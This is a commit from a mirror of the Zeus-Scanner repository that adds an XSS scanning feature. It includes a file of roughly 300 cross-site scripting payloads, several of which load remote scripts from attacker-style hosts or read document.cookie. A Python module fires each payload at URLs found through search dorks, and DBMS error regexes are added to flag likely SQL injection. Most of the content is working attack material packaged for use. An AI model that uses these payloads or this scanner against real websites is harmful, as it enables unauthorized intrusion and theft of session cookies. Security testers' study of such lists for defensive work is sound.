mirror of
https://github.com/Ekultek/Zeus-Scanner.git
synced 2026-03-11 08:55:51 +00:00
created an XSS scanner for issue #8
This commit is contained in:
parent
ed4820b8ee
commit
90d3798a93
4 changed files with 463 additions and 23 deletions
298
etc/xss_payloads.txt
Normal file
298
etc/xss_payloads.txt
Normal file
|
|
@ -0,0 +1,298 @@
|
|||
\x3c
|
||||
\x3C
|
||||
\u003c
|
||||
\u003C
|
||||
<
|
||||
%3C
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<
|
||||
<script>alert(123)</script>
|
||||
<script>alert("hellox worldss");</script>
|
||||
javascript:alert("hellox worldss")
|
||||
<img src="javascript:alert('XSS');">
|
||||
<img src=javascript:alert("XSS")>
|
||||
<"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
|
||||
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
|
||||
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
|
||||
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
|
||||
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
<<SCRIPT>alert("XSS");//<</SCRIPT>
|
||||
<"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
|
||||
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))<?/SCRIPT>&submit.x=27&submit.y=9&cmd=search
|
||||
<script>alert("hellox worldss")</script>&safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#510
|
||||
<script>alert("XSS");</script>&search=1
|
||||
0&q=';alert(String.fromCharCode(88,83,83))//\';alert%2?8String.fromCharCode(88,83,83))//";alert(String.fromCharCode?(88,83,83))//\";alert(String.fromCharCode(88,83,83)%?29//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83%?2C83))</SCRIPT>&submit-frmGoogleWeb=Web+Search
|
||||
<h1><font color=blue>hellox worldss</h1>
|
||||
<BODY ONLOAD=alert('hellox worldss')>
|
||||
<input onfocus=write(XSS) autofocus>
|
||||
<input onblur=write(XSS) autofocus><input autofocus>
|
||||
<body onscroll=alert(XSS)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
|
||||
<form><button formaction="javascript:alert(XSS)">lol
|
||||
<!--<img src="--><img src=x onerror=alert(XSS)//">
|
||||
<![><img src="]><img src=x onerror=alert(XSS)//">
|
||||
<style><img src="</style><img src=x onerror=alert(XSS)//">
|
||||
<? foo="><script>alert(1)</script>">
|
||||
<! foo="><script>alert(1)</script>">
|
||||
</ foo="><script>alert(1)</script>">
|
||||
<? foo="><x foo='?><script>alert(1)</script>'>">
|
||||
<! foo="[[[Inception]]"><x foo="]foo><script>alert(1)</script>">
|
||||
<% foo><x foo="%><script>alert(123)</script>">
|
||||
<div style="font-family:'foo ;color:red;';">LOL
|
||||
LOL<style>*{/*all*/color/*all*/:/*all*/red/*all*/;/[0]*IE,Safari*[0]/color:green;color:bl/*IE*/ue;}</style>
|
||||
<script>({0:#0=alert/#0#/#0#(0)})</script>
|
||||
<svg xmlns="http://www.w3.org/2000/svg">LOL<script>alert(123)</script></svg>
|
||||
<SCRIPT>alert(/XSS/.source)</SCRIPT>
|
||||
\\";alert('XSS');//
|
||||
</TITLE><SCRIPT>alert(\"XSS\");</SCRIPT>
|
||||
<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">
|
||||
<BODY BACKGROUND=\"javascript:alert('XSS')\">
|
||||
<BODY ONLOAD=alert('XSS')>
|
||||
<IMG DYNSRC=\"javascript:alert('XSS')\">
|
||||
<IMG LOWSRC=\"javascript:alert('XSS')\">
|
||||
<BGSOUND SRC=\"javascript:alert('XSS');\">
|
||||
<BR SIZE=\"&{alert('XSS')}\">
|
||||
<LAYER SRC=\"http://ha.ckers.org/scriptlet.html\"></LAYER>
|
||||
<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">
|
||||
<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">
|
||||
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
|
||||
<META HTTP-EQUIV=\"Link\" Content=\"<http://ha.ckers.org/xss.css>; REL=stylesheet\">
|
||||
<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>
|
||||
<XSS STYLE=\"behavior: url(xss.htc);\">
|
||||
<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS
|
||||
<IMG SRC='vbscript:msgbox(\"XSS\")'>
|
||||
<IMG SRC=\"mocha:[code]\">
|
||||
<IMG SRC=\"livescript:[code]\">
|
||||
žscriptualert(EXSSE)ž/scriptu
|
||||
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">
|
||||
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">
|
||||
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\"
|
||||
<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>
|
||||
<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>
|
||||
<TABLE BACKGROUND=\"javascript:alert('XSS')\">
|
||||
<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">
|
||||
<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">
|
||||
<DIV STYLE=\"background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029\">
|
||||
<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">
|
||||
<DIV STYLE=\"width: expression(alert('XSS'));\">
|
||||
<STYLE>@im\port'\ja\vasc\ript:alert(\"XSS\")';</STYLE>
|
||||
<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">
|
||||
<XSS STYLE=\"xss:expression(alert('XSS'))\">
|
||||
exp/*<A STYLE='no\xss:noxss(\"*//*\");
|
||||
xss:ex/*XSS*//*/*/pression(alert(\"XSS\"))'>
|
||||
<STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>
|
||||
<STYLE>.XSS{background-image:url(\"javascript:alert('XSS')\");}</STYLE><A CLASS=XSS></A>
|
||||
<STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('XSS')\")}</STYLE>
|
||||
<!--[if gte IE 4]>
|
||||
<SCRIPT>alert('XSS');</SCRIPT>
|
||||
<![endif]-->
|
||||
<BASE HREF=\"javascript:alert('XSS');//\">
|
||||
<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>
|
||||
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
|
||||
<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>
|
||||
<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>
|
||||
a=\"get\";
|
||||
b=\"URL(\\"\";
|
||||
c=\"javascript:\";
|
||||
d=\"alert('XSS');\\")\";
|
||||
eval(a+b+c+d);
|
||||
<HTML xmlns:xss><?import namespace=\"xss\" implementation=\"http://ha.ckers.org/xss.htc\"><xss:xss>XSS</xss:xss></HTML>
|
||||
<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]><![CDATA[cript:alert('XSS');\">]]>
|
||||
</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
|
||||
<XML ID=\"xss\"><I><B><IMG SRC=\"javas<!-- -->cript:alert('XSS')\"></B></I></XML>
|
||||
<SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN>
|
||||
<XML SRC=\"xsstest.xml\" ID=I></XML>
|
||||
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
|
||||
<HTML><BODY>
|
||||
<?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\">
|
||||
<?import namespace=\"t\" implementation=\"#default#time2\">
|
||||
<t:set attributeName=\"innerHTML\" to=\"XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>\">
|
||||
</BODY></HTML>
|
||||
<SCRIPT SRC=\"http://ha.ckers.org/xss.jpg\"></SCRIPT>
|
||||
<!--#exec cmd=\"/bin/echo '<SCR'\"--><!--#exec cmd=\"/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'\"-->
|
||||
<? echo('<SCR)';
|
||||
echo('IPT>alert(\"XSS\")</SCRIPT>'); ?>
|
||||
<IMG SRC=\"http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode\">
|
||||
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
|
||||
<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=<SCRIPT>alert('XSS')</SCRIPT>\">
|
||||
<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
|
||||
<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
|
||||
<SCRIPT =\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
|
||||
<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
|
||||
<SCRIPT \"a='>'\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
|
||||
<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
|
||||
<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
|
||||
<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
|
||||
<A HREF=\"http://66.102.7.147/\">XSS</A>
|
||||
<A HREF=\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\">XSS</A>
|
||||
<A HREF=\"http://1113982867/\">XSS</A>
|
||||
<A HREF=\"http://0x42.0x0000066.0x7.0x93/\">XSS</A>
|
||||
<A HREF=\"http://0102.0146.0007.00000223/\">XSS</A>
|
||||
<A HREF=\"htt p://6 6.000146.0x7.147/\">XSS</A>
|
||||
<A HREF=\"//www.google.com/\">XSS</A>
|
||||
<A HREF=\"//google\">XSS</A>
|
||||
<A HREF=\"http://ha.ckers.org@google\">XSS</A>
|
||||
<A HREF=\"http://google:ha.ckers.org\">XSS</A>
|
||||
<A HREF=\"http://google.com/\">XSS</A>
|
||||
<A HREF=\"http://www.google.com./\">XSS</A>
|
||||
<A HREF=\"javascript:document.location='http://www.google.com/'\">XSS</A>
|
||||
<A HREF=\"http://www.gohttp://www.google.com/ogle.com/\">XSS</A>
|
||||
<iframe src=http://ha.ckers.org/scriptlet.html>
|
||||
<IMG SRC=\"javascript:alert('XSS')\"
|
||||
<SCRIPT SRC=//ha.ckers.org/.js>
|
||||
<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>
|
||||
<<SCRIPT>alert(\"XSS\");//<</SCRIPT>
|
||||
<SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
|
||||
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(\"XSS\")>
|
||||
<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>
|
||||
<IMG SRC=\" javascript:alert('XSS');\">
|
||||
perl -e 'print \"<SCR\0IPT>alert(\\"XSS\\")</SCR\0IPT>\";' > out
|
||||
perl -e 'print \"<IMG SRC=java\0script:alert(\\"XSS\\")>\";' > out
|
||||
<IMG SRC=\"jav
ascript:alert('XSS');\">
|
||||
<IMG SRC=\"jav
ascript:alert('XSS');\">
|
||||
<IMG SRC=\"jav	ascript:alert('XSS');\">
|
||||
<IMG SRC=javascript:alert('XSS')>
|
||||
<IMG SRC=javascript:alert('XSS')>
|
||||
<IMG SRC=javascript:alert('XSS')>
|
||||
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
|
||||
<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">
|
||||
<IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`>
|
||||
<IMG SRC=javascript:alert("XSS")>
|
||||
<IMG SRC=JaVaScRiPt:alert('XSS')>
|
||||
<IMG SRC=javascript:alert('XSS')>
|
||||
<IMG SRC=\"javascript:alert('XSS');\">
|
||||
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
|
||||
'';!--\"<XSS>=&{()}
|
||||
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
|
||||
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
|
||||
'';!--"<XSS>=&{()}
|
||||
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
|
||||
<IMG SRC="javascript:alert('XSS');">
|
||||
<IMG SRC=javascript:alert('XSS')>
|
||||
<IMG SRC=javascrscriptipt:alert('XSS')>
|
||||
<IMG SRC=JaVaScRiPt:alert('XSS')>
|
||||
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
|
||||
<IMG SRC="  javascript:alert('XSS');">
|
||||
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
<<SCRIPT>alert("XSS");//<</SCRIPT>
|
||||
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
|
||||
\";alert('XSS');//
|
||||
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
|
||||
¼script¾alert(¢XSS¢)¼/script¾
|
||||
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
|
||||
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
|
||||
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
|
||||
<TABLE BACKGROUND="javascript:alert('XSS')">
|
||||
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
|
||||
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
|
||||
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
|
||||
<DIV STYLE="width: expression(alert('XSS'));">
|
||||
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
|
||||
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
|
||||
<XSS STYLE="xss:expression(alert('XSS'))">
|
||||
exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
|
||||
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
|
||||
a="get";b="URL(ja\"";c="vascr";d="ipt:ale";e="rt('XSS');\")";eval(a+b+c+d+e);
|
||||
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
|
||||
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>"></BODY></HTML>
|
||||
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
|
||||
<form id="test" /><button form="test" formaction="javascript:alert(123)">TESTHTML5FORMACTION
|
||||
<form><button formaction="javascript:alert(123)">crosssitespt
|
||||
<frameset onload=alert(123)>
|
||||
<!--<img src="--><img src=x onerror=alert(123)//">
|
||||
<style><img src="</style><img src=x onerror=alert(123)//">
|
||||
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
|
||||
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
|
||||
<embed src="javascript:alert(1)">
|
||||
<? foo="><script>alert(1)</script>">
|
||||
<! foo="><script>alert(1)</script>">
|
||||
</ foo="><script>alert(1)</script>">
|
||||
<script>({0:#0=alert/#0#/#0#(123)})</script>
|
||||
<script>ReferenceError.prototype.__defineGetter__('name', function(){alert(123)}),x</script>
|
||||
<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1)')()</script>
|
||||
<script src="#">{alert(1)}</script>;1
|
||||
<script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script>
|
||||
<svg xmlns="#"><script>alert(1)</script></svg>
|
||||
<svg onload="javascript:alert(123)" xmlns="#"></svg>
|
||||
<iframe xmlns="#" src="javascript:alert(1)"></iframe>
|
||||
+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-
|
||||
%2BADw-script+AD4-alert(document.location)%2BADw-/script%2BAD4-
|
||||
+ACIAPgA8-script+AD4-alert(document.location)+ADw-/script+AD4APAAi-
|
||||
%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-
|
||||
%253cscript%253ealert(document.cookie)%253c/script%253e
|
||||
“><s”%2b”cript>alert(document.cookie)</script>
|
||||
“><ScRiPt>alert(document.cookie)</script>
|
||||
“><<script>alert(document.cookie);//<</script>
|
||||
foo<script>alert(document.cookie)</script>
|
||||
<scr<script>ipt>alert(document.cookie)</scr</script>ipt>
|
||||
%22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)’%3E
|
||||
‘; alert(document.cookie); var foo=’
|
||||
foo\’; alert(document.cookie);//’;
|
||||
</script><script >alert(document.cookie)</script>
|
||||
<img src=asdf onerror=alert(document.cookie)>
|
||||
<BODY ONLOAD=alert(’XSS’)>
|
||||
<script>alert(1)</script>
|
||||
"><script>alert(String.fromCharCode(66, 108, 65, 99, 75, 73, 99, 101))</script>
|
||||
<video src=1 onerror=alert(1)>
|
||||
<audio src=1 onerror=alert(1)>
|
||||
|
|
@ -0,0 +1,107 @@
|
|||
import os
|
||||
import re
|
||||
import urlparse
|
||||
import tempfile
|
||||
|
||||
import requests
|
||||
|
||||
from lib.settings import (
|
||||
logger,
|
||||
set_color,
|
||||
DEFAULT_USER_AGENT,
|
||||
proxy_string_to_dict,
|
||||
DBMS_ERRORS
|
||||
)
|
||||
|
||||
|
||||
def __load_payloads(filename="{}/etc/xss_payloads.txt"):
|
||||
with open(filename.format(os.getcwd())) as payloads: return payloads.readlines()
|
||||
|
||||
|
||||
def create_urls(url, payload_list):
|
||||
tf = tempfile.NamedTemporaryFile(delete=False)
|
||||
tf_name = tf.name
|
||||
with tf as tmp:
|
||||
for payload in payload_list:
|
||||
loaded_url = "{}{}".format(url, payload)
|
||||
tmp.write(loaded_url)
|
||||
return tf_name
|
||||
|
||||
|
||||
def find_xss_script(url, query=4):
|
||||
data = urlparse.urlparse(url)
|
||||
return data[query]
|
||||
|
||||
|
||||
def scan_xss(url, agent=None, proxy=None):
|
||||
user_agent = agent or DEFAULT_USER_AGENT
|
||||
config_proxy = proxy_string_to_dict(proxy)
|
||||
config_headers = {"connection": "close", "user-agent": user_agent}
|
||||
xss_request = requests.get(url, proxies=config_proxy, headers=config_headers)
|
||||
html_data = xss_request.content
|
||||
query = find_xss_script(url)
|
||||
if str(query).lower() in str(html_data).lower():
|
||||
return True
|
||||
else:
|
||||
for db in DBMS_ERRORS.keys():
|
||||
for item in DBMS_ERRORS[db]:
|
||||
dbms_regex = re.compile(item)
|
||||
if dbms_regex.search(html_data):
|
||||
return "sqli"
|
||||
return False
|
||||
|
||||
|
||||
def main_xss(start_url, verbose=False, proxy=None, agent=DEFAULT_USER_AGENT, try_all=False):
|
||||
find_xss_script(start_url)
|
||||
logger.info(set_color(
|
||||
"loading payloads..."
|
||||
))
|
||||
payloads = __load_payloads()
|
||||
if verbose:
|
||||
logger.debug(set_color(
|
||||
"a total of {} payloads loaded...".format(len(payloads)), level=10
|
||||
))
|
||||
logger.info(set_color(
|
||||
"payloads will be written to a temporary file and read from there..."
|
||||
))
|
||||
filename = create_urls(start_url, payloads)
|
||||
if verbose:
|
||||
logger.debug(set_color(
|
||||
"loaded URL's have been saved to '{}'...".format(filename)
|
||||
))
|
||||
logger.info(set_color(
|
||||
"testing for XSS vulnerabilities on host '{}'...".format(start_url)
|
||||
))
|
||||
logger.info(set_color(
|
||||
"adjusting user agent to '{}'...".format(agent)
|
||||
))
|
||||
if proxy is not None:
|
||||
logger.info(set_color(
|
||||
"using proxy '{}'...".format(proxy)
|
||||
))
|
||||
with open(filename) as urls:
|
||||
for url in urls:
|
||||
url = url.strip()
|
||||
result = scan_xss(url, proxy=proxy, agent=agent)
|
||||
payload = find_xss_script(url)
|
||||
if result:
|
||||
logger.info(set_color(
|
||||
"host '{}' appears to be vulnerable to XSS attacks using payload '{}'...".format(
|
||||
start_url, payload
|
||||
)
|
||||
))
|
||||
if not try_all:
|
||||
return
|
||||
elif result is "sqli":
|
||||
logger.error(set_color(
|
||||
"loaded URL '{}' threw a DBMS error and appears to be SQLi vulnerable, test for SQL injection".format(
|
||||
url
|
||||
), level=30
|
||||
))
|
||||
else:
|
||||
if verbose:
|
||||
logger.debug(set_color(
|
||||
"host '{}' does not appear to be vulnerable to XSS attacks with payload '{}'...".format(
|
||||
start_url, payload
|
||||
), level=10
|
||||
))
|
||||
|
|
@ -22,7 +22,7 @@ except NameError:
|
|||
# clone link
|
||||
CLONE = "https://github.com/ekultek/zeus-scanner.git"
|
||||
# current version <major.minor.commit.patch ID>
|
||||
VERSION = "1.0.17"
|
||||
VERSION = "1.0.18"
|
||||
# colors to output depending on the version
|
||||
VERSION_TYPE_COLORS = {"dev": 33, "stable": 92, "other": 30}
|
||||
# version string formatting
|
||||
|
|
@ -118,6 +118,22 @@ SPIDER_EXT_EXCLUDE = (
|
|||
"woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm",
|
||||
"xpi", "xpm", "xwd", "xz", "z", "zip", "zipx"
|
||||
)
|
||||
DBMS_ERRORS = { # regular expressions used for DBMS recognition based on error message response
|
||||
"MySQL": (r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"valid MySQL result", r"MySqlClient\."),
|
||||
"PostgreSQL": (r"PostgreSQL.*ERROR", r"Warning.*\Wpg_.*", r"valid PostgreSQL result", r"Npgsql\."),
|
||||
"Microsoft SQL Server": (r"Driver.* SQL[\-\_\ ]*Server", r"OLE DB.* SQL Server",
|
||||
r"(\W|\A)SQL Server.*Driver", r"Warning.*mssql_.*",
|
||||
r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}",
|
||||
r"(?s)Exception.*\WSystem\.Data\.SqlClient\.", r"(?s)Exception.*\WRoadhouse\.Cms\."),
|
||||
"Microsoft Access": (r"Microsoft Access Driver", r"JET Database Engine", r"Access Database Engine"),
|
||||
"Oracle": (r"\bORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver",
|
||||
r"Warning.*\Woci_.*", r"Warning.*\Wora_.*"),
|
||||
"IBM DB2": (r"CLI Driver.*DB2", r"DB2 SQL error", r"\bdb2_\w+\("),
|
||||
"SQLite": (r"SQLite/JDBCDriver", r"SQLite.Exception",
|
||||
r"System.Data.SQLite.SQLiteException", r"Warning.*sqlite_.*",
|
||||
r"Warning.*SQLite3::", r"\[SQLITE_ERROR\]"),
|
||||
"Sybase": (r"(?i)Warning.*sybase.*", r"Sybase message", r"Sybase.*Server message.*"),
|
||||
}
|
||||
|
||||
|
||||
# this has to be the first function so that I can use it in the logger settings below
|
||||
|
|
@ -196,6 +212,8 @@ def proxy_string_to_dict(proxy_string):
|
|||
"""
|
||||
send the proxy string to a dict -> http://127.0.0.1:8080 -> {'http': '127.0.0.1:8080'}
|
||||
"""
|
||||
if proxy_string is None:
|
||||
return None
|
||||
proxy_data = get_proxy_type(proxy_string)
|
||||
retval = {proxy_data[0]: proxy_data[1]}
|
||||
return retval
|
||||
|
|
@ -362,4 +380,4 @@ def create_tree(start, conns, down="|", over="-", sep="-" * 40):
|
|||
down, over, con
|
||||
)
|
||||
)
|
||||
print(sep)
|
||||
print(sep)
|
||||
59
zeus.py
59
zeus.py
|
|
@ -14,6 +14,7 @@ from var import blackwidow
|
|||
from var.google_search import search
|
||||
from lib.errors import InvalidInputProvided
|
||||
from lib.attacks.admin_panel_finder import main
|
||||
from lib.attacks.xss_scan import main_xss
|
||||
from lib.attacks.nmap_scan.nmap_opts import NMAP_API_OPTS
|
||||
from lib.attacks.sqlmap_scan.sqlmap_opts import SQLMAP_API_OPTIONS
|
||||
|
||||
|
|
@ -45,7 +46,6 @@ from lib.settings import (
|
|||
SQLMAP_MAN_PAGE_URL
|
||||
)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
parser = optparse.OptionParser(usage="{} -d|l|s|b DORK|FILE|URL [ATTACKS] [S-E] [--OPTS]".format(
|
||||
|
|
@ -75,6 +75,8 @@ if __name__ == "__main__":
|
|||
help="Check if a URL's host is exploitable via Intel ME AMT (CVE-2017-5689)")
|
||||
attacks.add_option("-a", "--admin-panel", dest="adminPanelFinder", action="store_true",
|
||||
help="Search for the websites admin panel")
|
||||
attacks.add_option("-x", "--xss-scan", dest="runXssScan", action="store_true",
|
||||
help="Run an XSS scan on the found URL's")
|
||||
attacks.add_option("--sqlmap-args", dest="sqlmapArguments", metavar="SQLMAP-ARGS",
|
||||
help="Pass the arguments to send to the sqlmap API within quotes & "
|
||||
"separated by a comma. IE 'dbms mysql, verbose 3, level 5'")
|
||||
|
|
@ -91,6 +93,8 @@ if __name__ == "__main__":
|
|||
help="Show the arguments that nmap understands")
|
||||
attacks.add_option("-P", "--show-possibles", dest="showAllConnections", action="store_true",
|
||||
help="Show all connections made during the admin panel search")
|
||||
attacks.add_option("--run-all", dest="runAllXssPayloads", action="store_true",
|
||||
help="Run every loaded XSS payload")
|
||||
|
||||
# search engine options
|
||||
engines = optparse.OptionGroup(parser, "Search engine arguments",
|
||||
|
|
